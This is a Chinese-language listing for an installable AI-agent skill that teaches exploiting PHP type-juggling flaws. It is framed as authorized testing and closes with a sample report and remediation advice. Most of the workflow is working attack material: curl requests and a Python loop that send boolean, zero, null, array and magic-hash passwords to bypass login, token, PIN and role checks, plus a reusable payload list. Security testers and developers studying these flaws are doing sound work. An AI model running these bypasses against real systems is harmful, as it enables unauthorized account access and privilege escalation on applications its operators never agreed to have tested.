关于 exploiting-type-juggling-vulnerabilities
该技能面向 PHP 应用的授权安全测试,讲解如何检测和验证宽松比较导致的类型混淆漏洞,重点涉及认证绕过、魔术哈希及 JSON 类型控制。
主要功能
- 01定位宽松比较的易受攻击逻辑
- 02测试认证与密码校验绕过
- 03利用魔术哈希碰撞验证风险
- 04检查访问控制和反序列化输入
- 05自动化测试常见类型载荷
适用场景
- 01审计 PHP 登录与令牌验证逻辑
- 02测试 JSON 接口的类型控制风险
- 03评估密码哈希比较实现
- 04编写类型混淆漏洞报告
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-type-juggling-vulnerabilities安装后在 Claude Code 中输入/exploiting-type-juggling-vulnerabilities确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
利用类型混淆漏洞
何时使用
- 在测试 PHP Web 应用的身份验证绕过漏洞时
- 在评估密码比较和哈希验证逻辑期间
- 在测试使用松散比较(== 而非 ===)的应用时
- 在代码审查处理 JSON 或反序列化输入的 PHP 应用期间
- 在评估依赖类型相关比较的输入验证时
前置条件
- 了解 PHP 类型系统和松散比较行为
- 了解魔术哈希值(0e 前缀)及其科学计数法解释
- 使用 Burp Suite 进行请求操作和参数类型更改
- 用于在本地测试 payload 的 PHP 开发环境
- 从 PayloadsAllTheThings 收集的魔术哈希字符串集合
- 能够发送 JSON 或序列化数据以控制输入类型
法律声明: 本技能仅用于授权安全测试和教育目的。未经授权对您不拥有或没有书面许可测试的系统使用是违法的,并可能违反计算机欺诈法。
工作流
步骤 1 — 识别类型混淆候选点
# Look for PHP applications with:
# - Login/authentication forms
# - Password comparison endpoints
# - API endpoints accepting JSON input
# - Token/hash verification
# - Numeric comparison for access control
# Check if application accepts JSON input (allows type control)
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"test"}'
# If application normally uses form data, try JSON
# Form: username=admin&password=test
# JSON: {"username":"admin","password":true}
步骤 2 — 利用松散比较身份验证绕过
# PHP loose comparison: 0 == "password" returns TRUE
# Send integer 0 as password via JSON
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":0}'
# Send boolean true (TRUE == "any_string" in loose comparison)
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":true}'
# Send empty array (array bypasses strcmp)
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":[]}'
# Send null
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":null}'
# PHP strcmp vulnerability: strcmp(array, string) returns NULL
# NULL == 0 is TRUE in loose comparison
curl -X POST http://target.com/login \
-d "username=admin&password[]=anything"
步骤 3 — 利用魔术哈希碰撞
# PHP treats "0e..." strings as scientific notation (0 * 10^N = 0)
# If hash starts with "0e" followed by only digits, it equals 0 in loose comparison
# Magic MD5 hashes (all evaluate to 0 in loose comparison):
# "240610708" -> md5: 0e462097431906509019562988736854
# "QNKCDZO" -> md5: 0e830400451993494058024219903391
# "aabg7XSs" -> md5: 0e087386482136013740957780965295
# "aabC9RqS" -> md5: 0e041022518165728065344349536299
# If application compares md5(user_input) == stored_hash:
# And stored_hash starts with "0e" and contains only digits after
curl -X POST http://target.com/login \
-d "username=admin&password=240610708"
# Magic SHA1 hashes:
# "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735
# "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393
# Test with known magic hash values
for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
echo -n "Testing: $payload -> "
curl -s -X POST http://target.com/login \
-d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
echo
done
步骤 4 — 利用访问控制中的比较
# Numeric comparison bypass
# If: if($user_id == $target_id) { // allow access }
# "0" == "0e12345" is TRUE (both evaluate to 0)
# String to integer conversion
# "1abc" == 1 is TRUE in PHP (string truncated to integer)
curl "http://target.com/api/user?id=1abc"
# Boolean comparison for role checking
# if($role == true) grants access to any non-empty string
curl -X POST http://target.com/api/action \
-H "Content-Type: application/json" \
-d '{"action":"delete","role":true}'
# Null comparison for optional checks
# if($token == null) might skip validation
curl -X POST http://target.com/api/verify \
-H "Content-Type: application/json" \
-d '{"token":0}'
步骤 5 — 通过反序列化输入利用
# PHP json_decode() preserves types
# Attacker controls type via JSON: true, 0, null, []
# Bypass token verification
curl -X POST http://target.com/api/verify-token \
-H "Content-Type: application/json" \
-d '{"token":true}'
# Bypass numeric PIN verification
curl -X POST http://target.com/api/verify-pin \
-H "Content-Type: application/json" \
-d '{"pin":true}'
# Bypass with zero value
curl -X POST http://target.com/api/check-code \
-H "Content-Type: application/json" \
-d '{"code":0}'
# PHP unserialize() type juggling
# Craft serialized object with integer type instead of string
# s:8:"password"; -> i:0; (string "password" to integer 0)
步骤 6 — 自动化类型混淆测试
# Test all common type juggling payloads against each parameter
# Using Burp Intruder with type juggling payload list
# Payload list for JSON-based testing:
# true
# false
# null
# 0
# 1
# ""
# []
# "0"
# "0e99999"
# "240610708"
# Python automation
python3 -c "
import requests
import json
url = 'http://target.com/api/login'
payloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']
for p in payloads:
data = {'username': 'admin', 'password': p}
r = requests.post(url, json=data)
print(f'password={json.dumps(p):20s} -> Status: {r.status_code}, Length: {len(r.text)}')
"
关键概念
| 概念 | 描述 |
|---|---|
| 松散比较(==) | PHP 比较,在比较值之前执行类型强制转换 |
| 严格比较(===) | PHP 比较,要求值和类型都匹配 |
| 魔术哈希 | 哈希以 "0e" 开头后跟数字的字符串,在松散比较中求值为 0 |
| 类型强制转换 | 比较期间类型之间的自动转换(字符串到整数,null 到 0) |
| strcmp 绕过 | 向 strcmp() 传递数组返回 NULL,在松散比较中等于 0 |
| JSON 类型控制 | 使用 JSON 输入向 PHP 端点发送特定类型(布尔值、整数、null) |
| 科学计数法 | PHP 在数值比较期间将 "0eN" 字符串解释为指数计数法中的 0 |
工具与系统
| 工具 | 用途 |
|---|---|
| Burp Suite | 用于更改请求中参数类型的 HTTP 代理 |
| PHP 交互式 shell | 本地测试类型混淆行为 |
| PayloadsAllTheThings | 精选的魔术哈希和类型混淆 payload 列表 |
| phpggc | 用于反序列化利用的 PHP 通用 gadget 链 |
| 自定义 Python 脚本 | 自动化类型混淆 payload 测试 |
| PHPStan/Psalm | 检测代码中松散比较的静态分析工具 |
常见场景
- 通过布尔值绕过身份验证 — 发送
"password": true作为 JSON 以绕过松散比较密码验证 - 魔术哈希碰撞 — 使用已知的魔术哈希输入("240610708"),其 MD5 以 "0e" 开头,以匹配存储的哈希
- strcmp 数组绕过 — 发送
password[]=anything使 strcmp() 返回 NULL,绕过密码比较 - PIN/OTP 绕过 — 发送整数 0 作为验证码,以匹配实际代码的 "0e..." 哈希
- 角色提升 — 发送
"role": true以在松散比较访问检查中匹配任何非空角色字符串
输出格式
## Type Juggling Vulnerability Report
- **Target**: http://target.com
- **Language**: PHP 8.1
- **Framework**: Laravel
### Findings
| # | Endpoint | Parameter | Payload | Type | Impact |
|---|----------|-----------|---------|------|--------|
| 1 | POST /login | password | true (boolean) | Loose comparison | Auth bypass |
| 2 | POST /login | password | 240610708 (magic hash) | MD5 0e collision | Auth bypass |
| 3 | POST /login | password[] | array | strcmp NULL return | Auth bypass |
| 4 | POST /verify | code | 0 (integer) | Numeric comparison | OTP bypass |
### PHP Comparison Table (Relevant)
| Expression | Result | Reason |
|-----------|--------|--------|
| 0 == "password" | TRUE | String cast to 0 |
| true == "password" | TRUE | Non-empty string is truthy |
| "0e123" == "0e456" | TRUE | Both are scientific notation = 0 |
| NULL == 0 | TRUE | NULL cast to 0 |
### Remediation
- Replace all == with === (strict comparison) in security-critical code
- Use password_verify() for password comparison instead of direct comparison
- Use hash_equals() for timing-safe hash comparison
- Validate input types before comparison operations
- Enable PHP strict_types declaration in all files
评论
支持 Markdown